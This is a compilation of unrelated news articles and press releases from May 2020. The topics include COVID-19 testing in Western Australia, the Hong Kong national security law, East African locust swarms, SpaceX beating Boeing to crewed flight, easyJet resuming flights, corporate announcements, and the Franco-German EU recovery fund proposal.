It's one of the few areas where the state is comparatively falling short in its response to the pandemic, however Curtin University infectious disease expert Archie Clements said the result could actually be a positive sign.

WA's testing rate for coronavirus is 60 per cent of the country average. Credit:Kate Geraghty

I don't think we should be alarmed by the lower testing numbers, because they just reflect the lower incidence of respiratory illness in the community", he said.

"With testing symptomatic people as we are now, you can't be guaranteed that you're detecting all community transmission, but I think if there were localised outbreaks we would know, because even though there would be a significant proportion of people that are asymptomatic, I suspect there would be enough symptomatic people in that cluster to detect them."
She's one of the youngest chefs to ever compete on MasterChef Australia, and was just 19 when she first debuted on the show in 2018.

And Jess Liemantara has become the new favourite to win the latest season, after sharing a glimpse of her white chocolate raspberry tart tutorial.

The 21-year-old sent viewers into a frenzy over the YouTube clip, which demonstrates her incredible cooking skills.

Will she take home the crown? Jess Liemantara (pictured) has become the new favourite to win MasterChef, after sharing a glimpse of her white chocolate raspberry tart tutorial

Jess, who is known as 'Jess Lemon' to fans, shared a teaser for her tutorial on Instagram. A fan then re-posted the video in a popular MasterChef Facebook group, where it became a hot topic of discussion.

Fans were quick to praise the young cook, with one writing: 'I love Jess. I hope she claims the title. Such a humble, beautiful soul.'

Another added: 'Jess is a superstar. For someone so young she is an amazing cook.'

Going viral: Jess, who is known as 'Jess Lemon' to fans, shared a teaser for her tutorial on Instagram. A fan then re-posted the video in a popular MasterChef Facebook group, where it became a hot topic of discussion

'I hope she claims the title': Fans were quick to praise the young cook in the Facebook group

A third fan called Jess an 'intuitive cook,' while another wrote: 'Hope you win.'

The discussion soon turned to whether Jess was a better chef than the current MasterChef front-runner, Poh Ling Yeow.

'I think Poh is an absolute champion and is so talented but deep down I want somebody else to win,' one viewer wrote.

'I feel like she is past MasterChef, is very experienced and has already achieved so much. I'd love to see somebody like Jess win.'

Sorry, Poh! The discussion soon turned to whether Jess was a better chef than the current MasterChef front-runner, Poh Ling Yeow

'Excited to share': Earlier this week, Jess shared a teaser for her white chocolate raspberry tart tutorial, which she will be releasing in full soon. It will be her first ever online cooking tutorial

Earlier this week, Jess shared a teaser for her white chocolate raspberry tart tutorial, which she will be releasing in full soon.

It will be her first ever online cooking tutorial.

MasterChef: Back to Win continues Sunday at 7:30pm on Channel 10
China signalled on Thursday it would move forward with laws that would take aim at anti-government protests and other dissent in Hong Kong

Beijing: China signalled on Thursday it would move forward with laws that would take aim at anti-government protests and other dissent in Hong Kong. It is the clearest message yet that the Communist Party is moving to undermine the civil liberties the semi-autonomous territory has known since the 1997 British handoff.

The proposal to enact new security laws affecting Hong Kong was announced before the annual meeting of Chinas legislature, which is expected to approve them. While specifics of the proposal were not immediately disclosed, the rules could be harsher than anything Hong Kongs pro-Beijing government has done to curb opposition to the mainland.

The freedoms that have distinguished Hong Kong from the mainland, like an unfettered judiciary and freedom of assembly, have helped the former British colony prosper as a global city of commerce and capital. But the proposal raised the possibility that the Beijing government would damage the one country, two systems policy that has ensured such liberties since the territory was reclaimed by China.

The plan also revives the threat of violent demonstrations that convulsed the city for months and risks worsening Chinas deteriorating relationship with the Trump administration, which said the United States would respond strongly to any crackdown in Hong Kong.

In the Communist Partys view, tightened security laws in Hong Kong are necessary to protect China from external forces determined to impinge on its sovereignty. The legislation would give Beijing power to counter the Hong Kong protests, which are seen as a blatant challenge to the party and Chinas leader, Xi Jinping.

Security rules proposed by the Hong Kong government in 2003 would have empowered authorities to close seditious newspapers and conduct searches without warrants. That proposal was abandoned after it triggered large protests.

This time, China is effectively circumventing the Hong Kong government, undercutting the relative autonomy granted to the territory. Instead, it is going through Chinas rubber-stamp legislature, the National Peoples Congress, which holds its annual session starting Friday.

Zhang Yesui, spokesman for the National Peoples Congress, said at a news briefing Thursday that delegates would review a plan to create a legal framework and enforcement mechanism for safeguarding national security in Hong Kong. He did not elaborate on the details of the plan.

National security is the bedrock underpinning the stability of the country, Zhang said. Safeguarding national security serves the fundamental interest of all Chinese, Hong Kong compatriots included.

In a clear effort to head off international concerns, Chinas foreign ministry sent a letter Thursday night to ambassadors posted to Beijing, urging them to support the legislation and laying out the governments position.

The Opposition in Hong Kong has long colluded with external forces to carry out acts of secession, subversion, infiltration and destruction against the Chinese mainland, the letter said.

It drew criticism from Morgan Ortagus, the Department of State spokeswoman in Washington. Any effort to impose national security legislation that does not reflect the will of the people of Hong Kong would be highly destabilising and would be met with strong condemnation from the United States and the international community, she said.

The protests in Hong Kong started in June last year after the local government tried to enact an extradition law that would have allowed residents to be transferred to the mainland to face an opaque and often harsh judicial system. Though Hong Kong authorities later withdrew the bill, the demonstrations continued over broader political demands, including a call for free elections and an independent investigation into police conduct.

The Hong Kong government and protesters have both adopted largely uncompromising positions, and demonstrations often descended into clashes between protesters hurling Molotov cocktails and police officers firing tear gas and rubber bullets. While the protests have been muted during the coronavirus pandemic, frustrations in the city have simmered.

And as protests have persisted, Beijing has become increasingly vocal in its objections.

China has denounced the protests as acts of terrorism and accused western nations of fomenting unrest. The partys Central Committee, a conclave of about 370 senior officials, set the legislative measures in motion in October when it announced after a four-day meeting that it would roll out new steps to safeguard national security in Hong Kong.

Xi, one of Chinas most powerful leaders in decades, warned in December that the party would not allow challenges to its authority or the interference of external forces, a veiled rebuke to the protest movement in Hong Kong.

One month later, the party signalled it was taking a harder line when it replaced its top representative in Hong Kong with a senior official with a record of working closely with security services. Whereas the party had until recently left the handling of the crisis to the citys chief executive, Carrie Lam, Beijing is now weighing in more directly with warnings not to test its patience.

On Thursday, the Peoples Daily, the official mouthpiece of the Chinese Communist Party, and Xinhua, the State-run news agency, ran commentaries calling for the tumour of pro-independence sentiment in Hong Kong to be excised. Neither specified how this might be done.

Chinese officials have long been frustrated that the Hong Kong government has been unable to pass its own security legislation. Article 23 of the Basic Law, the mini-constitution governing Hong Kongs status under China, requires the territory to enact laws on its own to prohibit any act of treason, secession, sedition and subversion against the Chinese government.

Protests have only intensified the calls for such rules. Pro-Beijing leaders in Hong Kong have said that stringent laws are needed to prevent further street violence and protect Chinas national sovereignty.

The legislation to be put forward in Beijing is not necessarily a stopgap measure but a necessary means to plug some glaring loopholes in Hong Kongs national security laws, said Lau Siu-kai, a former senior Hong Kong government official who is now vice president of the Chinese Association of Hong Kong and Macao Studies, an elite Beijing advisory group.

Lau said that the legislature would pave the way for its top committee to draft security laws specific to Hong Kong. Beijing blames much of the unrest in the semi-autonomous territory on interference by unseen foreign forces, and the focus of the coming legislation would be to stop that meddling, he said.

The main purpose is to demonstrate Beijings determination and ability to safeguard sovereignty and national security and to end the turmoil in Hong Kong, he added.

Almost immediately, the move by the Chinese legislature prompted concerns about the ramifications for Hong Kong and condemnation by the citys democracy advocates.

On internet forums and chat groups frequently used to organise protests, some people expressed concerns about whether their past conversations could implicate them should the new laws be passed. Others urged users to download virtual private networking services to cloak their identities while some debated whether to delete their chat histories and disband the discussion groups.

Hong Kong independence is the only way out, chanted a group of protesters gathered in a luxury shopping mall Thursday.

Users flocked to LIHKG, a Reddit-like forum popular with protesters, to trade jokes about how the impending legislation would change life in the city. Some users said they would swear allegiance to China with oaths laced with references to the protests, while others bid farewell to the city as they knew it.

Nathan Law, a pro-democracy advocate, urged protesters not to give up.

At this time last year, didnt we believe that the extradition law was sure to pass? Hong Kongers have always created miracles, he wrote on Facebook.

The imposition of security legislation in Hong Kong also represents a fresh blow to the confidence of investors, tourists and others who have helped propel the city to prosperity over the past half century.

Retail sales started dropping last summer during the citys street protests and further slumped as the coronavirus epidemic took hold. Rents and real estate prices have started to fall. Some of the citys citizens and expatriates are looking to more politically stable islands, like Singapore and Taiwan, to live and park their cash.

Hong Kong has long served to channel money between China and the outside world. But a broader security crackdown by Beijing may prompt more investors to worry that Hong Kong is no longer beyond Chinas authoritarian reach.

This is the end of Hong Kong, said Dennis Kwok, an Opposition lawmaker. I foresee that the international status of Hong Kong as a city  an international city  will be gone very soon.

Keith Bradsher, Austin Ramzy and Tiffany May c.2020 The New York Times Company
NORTH JERSEY - The weather is warming, COVID-19 restrictions are loosening and people are starting to get out and about again in Patch towns throughout North Jersey.

We asked for some of the best neighborhood pics you had to offer and boy did you not disappoint us. Flowers blooming, chalk drawings, something else that made you smile. Here are some of the pics we received:

Tom Metz snapped this shot on Clairview Road, Rainbow Lakes.



Erica June found this bright spot.



Daniela Conditi shared this lake shot.



Jennifer Grant found this family outing.



Michele Ostolaza gave us this birds eye view.



Jill Tylicki Franklin showed us a good day for a bike ride.



Leanne Dolan had this ball field all to herself.



David Rittenhouse took this shot on Turtle Back Road after a rain storm.



Fred Cutler sent us this photo of a baby fawn on Flocktown.



Erin McDonnell Steward found a fox in the backyard.



Nick Pestritto was up at sunrise in Chester.



Janice Harris found some behinds walking on Patriot's Path.



Joan Calabrese Barton shot this photo of visiting bear.



Thanks for reading! Learn more about posting announcements or events to your local Patch site. Have a news tip you'd like to share? Or maybe you have a press release you would like to submit or a correction you'd like to request? Send an email to russ.crespolini@patch.com

Subscribe to your local Patch newsletter. You can also have them delivered to your phone screen by downloading, or by visiting the Google Play store.





This article originally appeared on the Parsippany Patch
TORONTO, May 22, 2020 /PRNewswire/ - Restaurant Brands International Inc. (TSX/NYSE: QSR, TSX: QSP) ("RBI" or the "Company") today provided notice of an update to the location for its 2020 Annual General Meeting of Shareholders.

Due to the continuing public health impact of the COVID-19 pandemic, RBI's 2020 Annual General Meeting of Shareholders (the "Meeting") will be held in a virtual only meeting format on June 10, 2020, at 8:00 a.m. Eastern Time. Online access to the meeting will begin at 7:45 a.m. Eastern Time. You will not be able to attend the Meeting in person.

We expect this modification in meeting format to be effective for this year only and to revert back to an in-person annual meeting in future years after public health conditions have improved.

Attending the Annual Meeting as a Shareholder of Record or Duly Appointed Proxyholder

If you were a holder of record of common shares of Restaurant Brands International Inc., at the close of business on April 15, 2020 (the "Record Date") (i.e., you held your shares in your own name as reflected in the records of our transfer agent, Computershare), you can attend the Meeting online by accessing https://web.lumiagm.com/271571453 and entering the 15-digit control number on the Proxy Card or Notice of Availability of Proxy Materials you previously received and the meeting password, restbrand2020 (case sensitive). Computershare will provide duly appointed proxyholders with a Username by e-mail after the proxy voting deadline has passed provided that the proxyholder has been duly appointed AND registered as described below. Only shareholders of record and duly appointed proxyholders will be able to attend, ask questions and vote at the Meeting.

Registering a Duly Appointed Proxy Holder to Attend the Meeting

Registered Shareholders who wish to appoint someone other than the named management proxyholders as their proxyholder to attend the Meeting as their proxy MUST submit their form of proxy appointing that person as proxyholder, AND register that proxyholder online, as described below. Registering your proxyholder is an additional step that must be completed AFTER you have submitted your form of proxy. Failure to register your proxyholder will result in the proxyholder not receiving a Username, which is used as their online sign-in credentials and is required for them to attend the Meeting.

Step 1  Submit your form of proxy: To appoint someone as proxyholder other than the management proxyholders, insert that person's name in the blank space provided in the form of proxy and follow the instructions for submitting such form of proxy. This must be completed before registering the proxyholder, which is an additional step to be completed once you have submitted your form of proxy.





To appoint someone as proxyholder other than the management proxyholders, insert that person's name in the blank space provided in the form of proxy and follow the instructions for submitting such form of proxy. This must be completed before registering the proxyholder, which is an additional step to be completed once you have submitted your form of proxy. Step 2  Register your proxyholder: To register a third-party proxyholder, registered shareholders must visit http://www.computershare.com/TIHQ by 11:59 p.m. (Eastern Time) on June 8, 2020 and provide Computershare with the required proxyholder contact information so that Computershare may provide the proxyholder with a Username via email. Without a Username, proxyholders will not be able to attend, vote or ask questions at the Meeting.

Registered Holders of Restaurant Brands International Limited Partnership exchangeable units ("Partnership exchangeable units") may obtain from the Trustee a proxy that will entitle you (or another person designated by you) to attend the Meeting and personally exercise online (as proxy of the Trustee) the votes attached to the special voting share that you (as registered holder of Partnership exchangeable units) would otherwise be entitled to instruct the Trustee to vote on your behalf. Once you have obtained a proxy from the Trustee, you must then submit your completed form of proxy as instructed AND register any appointed proxyholder online. Registering your proxyholder is an additional step that must be completed AFTER you have submitted your proxy to the Trustee. Failure to register your proxyholder will result in the proxyholder not receiving a Username, which is used as their online sign-in credentials and is required for them to attend the Meeting.

Step 1  Submit your form of proxy: To appoint someone (including yourself or a third-party) as proxyholder other than the management proxyholders, insert that person's name in the blank space provided in the form of proxy provided by the Trustee and then follow the instructions for submitting such form of proxy. This must be completed before registering the proxyholder, which is an additional step to be completed once you have submitted your form of proxy.





 To appoint someone (including yourself or a third-party) as proxyholder other than the management proxyholders, insert that person's name in the blank space provided in the form of proxy provided by the Trustee and then follow the instructions for submitting such form of proxy. This must be completed before registering the proxyholder, which is an additional step to be completed once you have submitted your form of proxy. Step 2  Register your proxyholder: To register a proxyholder, registered holders of Partnership exchangeable units must visit http://www.computershare.com/RBPQ by 11:59 p.m. (Eastern Time) on June 8, 2020 and provide Computershare with the required proxyholder contact information so that Computershare may provide the proxyholder with a Username via email. Without a Username, proxyholders will not be able to attend, vote or ask questions at the Meeting.

Beneficial holders of common shares or Partnership exchangeable units (i.e., you hold your shares through a broker, bank or other nominee) who wish to attend the Meeting (or have another person attend on your behalf), should contact the broker, bank or other nominee that holds those securities and follow their instructions to obtain the necessary proxy.

If you are a beneficial holder of shares or Partnership exchangeable units located in the United States and wish to attend the Meeting, you must first obtain a valid legal proxy from your broker, bank or other nominee and then register in advance. Follow the instructions from your broker, bank or other nominee included with the proxy materials or contact your broker, bank or other nominee. To then register to attend the Meeting, you must submit a copy of your legal proxy to Computershare. Requests for registration should be directed to: Computershare, 100 University Avenue, 8th Floor, Toronto, Ontario, M5J 2Y1 or by email to [email protected]. Requests for registration must be labeled as "Legal Proxy" and be received by Computershare no later than the voting deadline of 11:59 p.m. (Eastern Time) on June 8, 2020 or, if the Meeting is adjourned or postponed, by 8:00 a.m. (Eastern Time) on the last business day preceding the day of the reconvened Meeting.

Asking Questions; Rules of Conduct

Beginning fifteen minutes prior to, and during, the Meeting, you can view our Agenda and the Principles of Meeting Conduct for the Annual Meeting, and for those shareholders of record and duly appointed proxyholders attending the meeting, submit questions, by selecting the questions icon. Questions related to the proposals set forth in the proxy materials can be submitted by accessing the meeting center at https://web.lumiagm.com/271571453, entering your control number or username and meeting password, restbrand2020, and clicking on the message icon. To return to the main page, click the "i" icon.

Voting Shares

If you have already voted your shares or Partnership exchangeable units by sending in a proxy, or voted via telephone or internet, you do not need to take any further action. However, if you attend the Meeting online and vote at the Meeting, you will be revoking any and all previously submitted proxies.

The proxy card included with the proxy materials previously distributed will not be updated to reflect the change in location and may continue to be used to vote your shares in connection with the Meeting.

Your vote is important. Whether or not you plan to virtually attend the Meeting, please vote as soon as possible by one of the methods described in the proxy materials for the Meeting to ensure that your shares are represented and voted at the Meeting. The 2019 Annual Report and Proxy Statement are available at www.envisionreports.com/RBI2020 .

About Restaurant Brands International Inc.

Restaurant Brands International Inc. is one of the world's largest quick service restaurant companies with approximately $34 billion in annual system-wide sales and over 27,000 restaurants in more than 100 countries and U.S. territories. RBI owns three of the world's most prominent and iconic quick service restaurant brands - TIM HORTONS, BURGER KING, and POPEYES. These independently operated brands have been serving their respective guests, franchisees and communities for over 45 years.

SOURCE Restaurant Brands International Inc.
Millions of people in East Africa face a 'triple threat' of locusts, coronavirus, and deadly flooding, officials have warned.

A mammoth new swarm of the insects, numbering in the billions, is on the move in East Africa, where some countries haven't seen such an outbreak in 70 years.

UN officials have warned a plague of the insects could be experienced by the end of the year.

The impending invasion is estimated to be 20 times larger than the first and threatens to wipe out thousands of acres of crops before they are harvested.

Coronavirus lockdowns have stalled efforts to combat the locusts, particularly among pesticide imports needed for aerial spraying which officials say is the only effective control. Above, a farmer's daughter in Kenya waves her shawl to try and chase away swarms of desert locusts

In the worst case scenario 100 per cent of crop production could be experienced because of the locusts, and with the added threat of coronavirus this would devastate a region that is already home to a fifth of the world's food insecure people, according to a new report from the International Federation of the Red Cross has revealed.

Yemen, in the nearby Arabian Peninsula, is threatened, with UN officials warning that if locusts are not brought under control then the conflict-hit nation will remain a reservoir for further infestations in the region.

Coronavirus lockdowns have stalled efforts to combat the locusts, particularly among pesticide imports needed for aerial spraying which officials say is the only effective control.

Restrictions because of the virus have already hampered food supply chains, causing a substantial price hike in food.

'We're not in a plague, but if there are good rains in the summer and unsuccessful control operations, we could be in a plague by the end of this year,' said Keith Cressman, senior locust forecasting officer with the United Nations Food and Agriculture Organization.

Desert locusts like those above feeding on plants in Nasuulu Conservancy, northern Kenya, are threatening to devastate East Africa

He later told a UN briefing in New York that 'the locust invasion is most serious now in Kenya, Somalia and Ethiopia' and is also 'very serious in southern Iran and in parts of Pakistan.'

Starting in June, Cressman said, the locusts will move 'from Kenya to throughout Ethiopia as well as to Sudan, perhaps West Africa' and swarms in southern Iran and southwestern Pakistan 'will move to India and Pakistan in the border areas.'

He said the latter 'could be supplemented by other swarms coming from East Africa, or coming from northern Somalia.'

The FAO is now appealing for tens of millions of dollars of additional funds for operations in Kenya, Somalia and Ethiopia that will now be extended to Yemen, Iran, to Pakistan and possibly West Africa, he said

There is risk that the locusts could make their way to West Africa in the coming months, into the sprawling and arid Sahel region just south of the Sahara Desert, he said.

Chad, Niger and Mauritania could be affected - another burden for a region under growing threat from extremist attacks.

The FAO is preparing to increase its appeal for aid to $310 million as the livelihoods of millions of people across Ethiopia, Kenya and elsewhere are at stake, including farmers and herders.

Already about 400,000 hectares of land have been protected from the locusts, or enough crops to feed five million people, said Dominique Burgeon, FAO's director of emergencies, 'but it is only one part of the equation.'

The number of locusts continues to swell despite control efforts.

If work is not sustained the combined triple threat with coronavirus and flooding 'could have a catastrophic effect,' said FAO director-general Qu Dongyu.

Residents gather after flooding on the the River Hululu, which joins the Rver Lubiriha, near Beni, eastern Congo on May 21 2020. Recent floods in parts of East Africa have killed nearly 300 people and displaced 500,000

In its latest assessment the FAO says the situation across East Africa remains 'extremely alarming' because new swarms will form from mid-June onward, coinciding with the start of the harvest season for many farmers.

The news comes as the World Bank announced a $500 million program for countries affected by the historic desert locust swarms.

The programme will support countries in Africa and the Middle East, and Uganda, Kenya, Djibouti and Ethiopia benefit from an initial disbursement of $160 million.

Some of the money will go directly to farmers as cash payments with plans to help Yemen and Somalia at an 'advanced stage,' the bank said.

'This food supply emergency combined with the pandemic and economic shutdown in advanced economies places some of the world's poorest and most vulnerable people at even greater risk,' World Bank Group president David Malpass said in a statement.

Recent floods in parts of East Africa have killed nearly 300 people and displaced 500,000, slowing locust control work and increasing the risk of the virus' spread, according to the International Federation of Red Cross and Red Crescent Societies.

Many of the displaced people are being housed in crowded temporary shelters or internal displacement camps, where physical distancing to prevent the spread of COVID-19 is nearly impossible.

'We are facing an unusually complex humanitarian situation,' Simon Missiri, the group's Africa director, said in a statement.
NEW YORK, May 21, 2020 (GLOBE NEWSWIRE) -- Apollo Global Management, Inc. (APO) (together with its consolidated subsidiaries, Apollo or the Firm) today announced that it has closed on approximately $1.75 billion in commitments for its dislocated credit offering, Apollo Accord Fund III B (the Fund). The Fund is the latest investment vehicle in its flagship Accord series, launched in 2017. Commitments for the Fund were raised over approximately 8 weeks, driven by institutional demand for strategies that invest amid the volatility and market conditions seen in the first quarter of 2020.



Apollo has a history of successfully investing during periods of dislocation, and we are pleased with the investor response to our Accord strategy that seeks to purchase mispriced credit risk, said John Zito, Deputy CIO of Credit & Co-Head of Global Corporate Credit at Apollo. We saw significant investment opportunities in the first quarter driven by the volatile environment, and we expect volatility to continue as markets respond to the crisis and structural conditions.

Apollos Accord strategy focuses on acting as a liquidity provider during times of broad-based market stress by purchasing high-quality, secured cross-asset credit risk. Accord is one of several strategies the Firm has designed to address opportunity sets across dislocation, distressed, origination and capital solutions.

Paul, Weiss, Rifkind, Wharton & Garrison LLP represented Apollo in connection with the closing of Accord Fund III B.

About Apollo

Apollo is a leading global alternative investment manager with offices in New York, Los Angeles, San Diego, Houston, Bethesda, London, Frankfurt, Madrid, Luxembourg, Mumbai, Delhi, Singapore, Hong Kong, Shanghai and Tokyo. Apollo had assets under management of approximately $316 billion as of March 31, 2020 in credit, private equity and real assets funds invested across a core group of nine industries where Apollo has considerable knowledge and resources. For more information about Apollo, please visit www.apollo.com.

Story continues

Contact Information

For investors please contact:

Gary M. Stein

Head of Investor Relations

Apollo Global Management, Inc.

(212) 822-0467

gstein@apollo.com

Ann Dai

Investor Relations Manager

Apollo Global Management, Inc.

(212) 822-0678

adai@apollo.com

For media inquiries please contact:

Joanna Rose

Global Head of Corporate Communications

Apollo Global Management, Inc.

(212) 822-0491

jrose@apollo.com




A man has been jailed for a year and a half for the offence of making a false declaration in the application for Irish citizenship.

The Albanian man in his 40s is the first person to be convicted and sentenced for the offence.
One was a venerable giant with a legacy in aerospace that stretched back more than 100 years and a role in every major moment in NASA's history. The other was a relative upstart that in its early days was derided as little more than a delusional billionaire's fantasy and that critics said was building its rockets out of wax and rubber bands.

No one thought Elon Musk's SpaceX would ever beat Boeing to space. Some members of Congress even wondered why NASA would bother awarding contracts to two companies to build capsules to fly astronauts to the International Space Station under NASA's Commercial Crew Program. Just let Boeing do it.

But from all appearances, SpaceX has won the competition. The Wednesday launch of SpaceX's Crew Dragon capsule with astronauts aboard would not only be the first crewed launch to orbit by a private corporation but also a major upset in a new kind of space race. During the Apollo era, NASA was driven to the moon by a Cold War space race with the Soviet Union, but today companies are reprising the roles of nations in competitions that NASA hopes will help it recapture some of the achievement of a bygone era.

Assuming the launch is a success, it will mark the end of the era in which only government-owned spacecraft achieved such feats and represent another major step in the privatization of space. That SpaceX is making that transition and not Boeing emphasizes the dramatic nature of the change.

Publicly, the companies downplay any tension. But the competition has grown bitter over the years, particularly as SpaceX went from a rich man's folly no one took seriously to a disrupter that transformed the aerospace industry.

In the beginning, SpaceX was largely dismissed as a long shot that would never achieve much. "One industry veteran told me, 'You know their rockets are put together with rubber bands and sealing wax,' " recalled Lori Garver, a former deputy NASA administrator who pushed the agency to outsource human spaceflight to the private sector. " 'It's not real. It won't fly.' "

When the contracts for the Commercial Crew Program were awarded in 2014, Boeing received the lion's share, slightly more than 60 percent of the $6.8 billion NASA awarded, getting $4.2 billion compared to the $2.6 billion SpaceX received for the same amount of work.

Perhaps that was understandable. SpaceX was considered a risky bet, a wild card whose brash impatience and embrace of failure clashed with the agency's more conservative bent. Top executives urged SpaceX employees to be "mouthy," to disregard traditional chains of command, a trait embodied by Musk that made it seem like a rebellious teenager compared to Boeing's father figure of the aerospace industry.

"The Hill and big industry and most of the leadership at NASA thought the answer was give the money to Boeing and let them do it," Garver said. "Change is hard in a bureaucracy. And Eisenhower had it right with the military industrial base - they are not going to let it go easily. And human spaceflight is the holy grail."

But when it came to the task of flying astronauts, SpaceX perhaps had an edge. Since 2012, it has been flying cargo and supplies to the space station, giving it lots of practice in hoisting spacecraft to orbit and having them meet up and dock with the station. Its Falcon 9 rocket now has a lot of heritage, flying missions not just for NASA but for the commercial sector.

It also was perhaps better suited to perform under the strict limitations of NASA's "firm-fixed price" contract, one that forces contractors to be efficient. That's long been one of SpaceX's trademarks; it reuses not only its rockets but in the early days it repurposed all sorts of materials, even a 125,000-gallon liquid nitrogen tank that an employee found scrapped at an old abandoned Cape Canaveral launch site.

"We had to be super scrappy," Musk once told The Washington Post. "If we did it the standard way, we would have run out of money. For many years, we were week to week on cash flow, within weeks of running out of money. It definitely creates a mind-set of smart spending. Be scrappy or die: Those were our two options. Buy scrap components, fix them up, make them work."

Boeing, by contrast, was used to the cost-plus contracts often used on big government programs, such as its Space Launch System rocket, that allowed for greater expenditures and longer timelines.

Still, building a spacecraft designed to fly humans is an enormous challenge, and both companies suffered setbacks and delays that pushed back the original launch date from 2017. SpaceX had two Falcon 9 rockets explode, and it struggled with the parachute system that slows the spacecraft down as it flies back to Earth. Last year, its Dragon capsule was completely destroyed during a test of its emergency abort system. Since then, however, SpaceX has discovered the root causes of all problems and fixed them, NASA says.

Boeing, meanwhile, has continued to struggle. Late last year, its test flight without any astronauts onboard its Starliner spacecraft went terribly awry from the moment it reached orbit. The spacecraft's onboard computers were off by 11 hours, making the autonomous spacecraft think it was in a different part of the mission. Controllers on the ground had trouble communicating with it.

Later, the company discovered another software glitch - one that would have affected the separation of the crew module from the service module. As a result, Boeing will re-fly the test mission, a flight it says would probably happen toward the end of this year, meaning its first launch with crew wouldn't happen until 2021.

Inside the company, officials were embarrassed by the setback - another bit of bad news that followed the fatal crashes of two 737 Max airplanes. It also triggered a role reversal. Boeing, once the trusted partner, was now under renewed scrutiny by NASA, which said it had been lax in its oversight of the company.

NASA also said that after initially giving Boeing a pass, the agency would perform a full safety review of the company, as it did with SpaceX after Musk was seen taking a puff of marijuana on a podcast streamed on the Internet.

One industry official said executives inside Boeing "can't accept" SpaceX is flying people first. "People are annoyed by Elon - how does this guy who smokes pot beat us?" said the official, who spoke on the condition of anonymity because that person was not authorized to speak publicly. "We have a lot of humble pie to eat here."

Musk once told The Post that SpaceX was able to rise because the big aerospace companies didn't think it would ever amount to anything.

"They screwed themselves because they were just arrogant and complacent," he said. "Look, Boeing doesn't get out of bed for less than $1 billion."

Boeing's response was just as combative: "At the turn of the 21st Century, before Musk entered the space business, Boeing was building the International Space Station with NASA, where we've kept astronauts safe and continuously on orbit. . . . While others talk about aspirations and hopes, we actually do things in space and will deliver on our commitment to America's journey to Mars. That's what we get out of bed for."

Flights to the International Space Station weren't the only place where Musk took on Boeing. In 2014, he also took on United Launch Alliance, the joint venture of Boeing and Lockheed Martin, that had held a virtual monopoly on Pentagon launch contracts for nearly a decade.

Musk sued the Air Force for the right to compete for contracts, a risky move that annoyed some in the Pentagon. Musk also made a stink over the fact that the ULA used a rocket engine manufactured by Russia.

"Lockheed and Boeing are used to stomping on new companies, and they've certainly tried to stomp on us," he said at the time. "I think we have a shot at prevailing. But we're certainly a small up-and-comer going against giants."

Ultimately, though, he settled with the Air Force, was able to compete and since then has won a handful of Pentagon launches.

More recently, Boeing and SpaceX sparred over the Commercial Crew Program when a NASA inspector general report found that the average cost of Boeing's Starliner would be $90 million per astronaut, compared with $55 million a seat on SpaceX's Dragon.

"This doesn't seem right," Musk wrote on Twitter, adding: "Meaning not fair that Boeing gets so much more for the same thing."

Boeing pushed back hard against the report, saying, "It is a fact that our competitor received a contract years earlier to develop a cargo vehicle that later served as a the basis for their crew offering. Boeing did all the development under the Commercial Crew contract under a more compressed, shorter schedule."

Recently, when NASA announced it had awarded a contract for $1.79 billion to Aerojet Rocketdyne for 18 RS-25 engines for the core stage of the massive Space Launch System rocket Boeing is building for NASA, Musk lamented the cost.

"SLS makes me feel sad," he tweeted.

Last month, SpaceX notched another victory when it was chosen to be among the three companies awarded preliminary contracts to develop a spacecraft to land astronauts on the moon.

Boeing was not among them.

But when Boeing's Starliner was in trouble after it reached space late last year, Musk's tone was markedly different. Having suffered through several failed missions, he added a touch of empathy.

"Orbit is hard," he tweeted. "Best wishes for landing & swift recovery to next mission."
EasyJet has announced that it will resume flights including some routes from Belfast International Airport on June 15.

Passengers, who will be required to wear masks, will be able to fly from Belfast to Birmingham, Bristol, Edinburgh, Glasgow, Gatwick, Liverpool and Newcastle.

The announcement marks a slow return of air capacity after the cessation of all passenger links except London as a result of the Covid-19 lockdown.

Belfast Telegraph revealed earlier this month that low-budget Ryanair is planning on flying on seven routes from Belfast International from July, including some European routes.

EasyJet said: "A small number of flights will restart on routes where we believe there is sufficient customer demand to support profitable flying.

"The initial schedule will comprise mainly domestic flying in the UK and France. Further routes will be announced in coming weeks as customer demand increases and lockdown measures across Europe are relaxed."

Welcoming the announcement, Belfast International Airport managing director Graham Keddie said: "EasyJet has informed us of its intention to recommence passenger flights from Belfast International Airport to destinations across the rest of the UK on June 15.

"As Northern Ireland and the UK's largest airline, it is a welcome and reassuring sign that easyJet remains committed to its local routes and keeping Northern Ireland open and connected for business.

"We will be ready to accommodate these flights and our teams have been working round the clock to ensure that all measures will be in place to ensure the safety and well-being of all those who pass through the airport.

"Public safety is and must be the number one priority at all times and we will be working very closely with easyJet and the other operators who plan to commence operations soon to ensure we are all in a position to safely allow passengers back into the airport."

Mr Keddie told the Belfast Telegraph the airport was ready for passengers in a new era of social distancing. "It's all marked out, with a one-way route in, and a one-way route out. It's all good to go," he added.

Since lockdown, air travel from Northern Ireland has been limited to Aer Lingus flights between Belfast City Airport and London Heathrow, and a Loganair link between City of Derry Airport (CODA) and London Stansted Airport.

Other routes to Great Britain from CODA remain suspended, as do other routes from Belfast City Airport. The airport lost around 14 links to Great Britain following the collapse of regional airline Flybe in March.

The City Airport's only international flight is to Amsterdam. Its operator, KLM, did not respond to a query regarding when it might start again.

And only cargo flights have been landing overnight at Belfast International Airport since lockdown.

Earlier this month funding of 5.7m was announced for the Stansted and Heathrow routes as "lifeline services" between Northern Ireland and Great Britain, to ensure they are not cut following collapse in demand caused by Covid-19.

The package is being funded by the government and the Northern Ireland Executive.

Aer Lingus was forced to add another flight to its route to Heathrow from Belfast after a large number of passengers using a Monday morning flight left it impossible to maintain social distancing.

Belfast City Airport boss Brian Ambrose has said the airport is losing hundreds of thousands of pounds a month with its other flights grounded and revenue streams, such as coffee shops, also closed off.

Graham Keddie of Belfast International Airport has said it is facing daily losses of 60,000. CODA has been loss-making for some time and is owned by Derry City and Strabane Council.
(Bloomberg Opinion) -- A proposal announced this week by German Chancellor Angela Merkel and French President Emmanuel Macron marks a real advance in the European Unions sluggish response to the novel coronavirus. Their idea is for the European Commission to borrow some 500 billion euros ($548 billion) and distribute the money as grants to the member states most in need of fiscal support. Thats a much bigger number than previously contemplated, and the idea of giving grants rather than making loans is even bolder.

In coming to this agreement, Germany has veered toward Frances position, and thats a move in the right direction.

Admittedly, to say that details remain to be worked out would be an understatement even by EU standards. The two leaders havent said exactly how they would like the money to be allocated, or exactly how the new borrowings would be repaid  crucial and extremely contentious questions. And though an understanding between France and Germany on a new fiscal plan is necessary for anything to happen, it isnt sufficient. Support from all 27 members of the union will be needed to move forward, and fiscally conservative governments are already lodging objections.

